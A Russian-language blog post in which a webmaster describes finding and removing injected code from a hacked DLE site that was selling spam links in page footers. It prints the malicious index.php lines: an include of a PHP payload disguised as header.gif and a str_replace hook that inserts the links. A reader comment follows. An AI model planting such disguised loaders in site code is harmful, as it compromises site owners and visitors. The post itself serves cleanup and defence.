Срочно проверьте свои сайты на DLE

Посторонний код на сайте DLEВ очередной раз на мой сайт, с движком DLE, внедряют посторонний код и приходится его искать и вычищать. На этот раз кто-то решил продавать с моего сайта ссылки smile .

Заметил это совершенно случайно — просматривая страницы сайта, случайно увидел в футере ссылку на посторонний ресурс. Пощёлкав другие страницы сайта, я увидел, что ссылки размещены не на всех страницах.

Не известно сколько они уже провисели, но не думаю что больше недели. В индекс ПС еще не успели попасть, что очень здорово — хорошо что вовремя их заметил.

Исходный код

В исходном коде ссылка выводилась с околоссылочным тестом (всё по seo-феншую smile ), но ничего выделяющегося:

<a href="http://irkmedcenter.ru/stati/article_post/lechenie-i-prizhiganie-erozii" target="_blank">Здесь</a> эрозия шейки матки.

При этом, никаких посторонних скриптов в исходном коде не было. Единственная зацепка по которой можно было бы отследить откуда «растут корни» это то, что выводилась ссылка после класса: class=«footer».

Я зашел в настройки и выбрал дефолтный шаблон, чтобы посмотреть, будут ли изменения. В дефолтном шаблоне ссылки не выводились. Тоже самое (ссылки не появлялись) было, если переименовывать class=«footer», например, на class=«footer_new». Т.е. это четкое условие для постороннего скрипта, который находил данный текст на странице main.tpl и втыкал туда код.

Сколько было ссылок на сайте и куда они ссылались?

У меня на том сайте с движком DLE (10.0) около 2000 страниц в индексе. Сайт никуда не ссылался до этого. Чтобы проверить масштабы продажи ссылок, я запустил бесплатную версию программы PageWeight Lite Free Version.

Программа нашла 120 исходящих ссылок:

is-links

Поиск и удаление постороннего кода

Я решил, раз посторонний скрипт вставляет ссылки после class=«footer», значит у него это должно быть прописано в условии, а значит можно поискать данный текст.

У меня сайт на хостинге Beget. Там есть «Файловый менеджер» в котором есть поиск текста во всех файлах сайта:

file-meneg

Но если на вашем хостинге такого нет, то можно воспользоваться всем известной программой «Total Commander», соединиться по FTP и выполнить поиск текста (в меню выбираем): Команда -> Поиск файлов -> С текстом.

TotalC

Было найдено очень много файлов с данным текстом. Что самое приятное — мне повезло — открыл файл index.php, который в корне сайта и нашел там «левый» код, выглядел он так:

include_once($_SERVER['DOCUMENT_ROOT'].'/engine/classes/js/header.gif');	

if(@$sys_lctr) $tpl->result['main'] = str_replace('<div class="footer">', "<div class=\"footer\">".@$sys_lctr, $tpl->result['main']);

Я его сразу же удалил. Можно его не искать, а взять оригинальный файл index.php и перезалить его на сервер.

В этом коде также можно заметить подключение файла header.gif из /engine/classes/js/ . Можно подумать, что это какая-то картинка, но на самом деле если открыть ее в текстовом редакторе, то там огромное кол-во левого кода. Этот файл header.gif я тоже удалил.

Заключение

Если у вас есть сайты на движке DLE, то рекомендую проверить их, возможно кто-то продает уже с них ссылки.

Ссылок сейчас нет, но я уверен, что это не надолго. Также, скорее всего, я не полностью вычистил посторонний код и где-то он все-равно остался, а также есть дырка в движке, которую нужно залатать, иначе ситуация повторится.

Все что я сейчас пока сделал — это установил права «только для чтения» (400) на файл «index.php» и папку «js» (/engine/classes/js/).

Может кто сталкивался с таким посторонним кодом и после удаления залатал дыру? Буду признателен за информацию.

Другие статьи:

Поблагодарите автора репостом:
Предыдущие статьи:

Один комментарий к записи “Срочно проверьте свои сайты на DLE”

  • Вероника

    Огромное спасибо! Только в этой статье нашла решение проблемы! После удаления файла header.gif ссылки пропали. Код сидел в файле templates.class.php. И в моем случае ссылки прописывались после . Для упрощения искать нужно в первую очередь упоминания на файл header.gif. Благо, что оно встречается один раз.
    Остается главный вопрос: Как эта зараза вообще попала на сайт?

Прокомментировать

Наверх ▲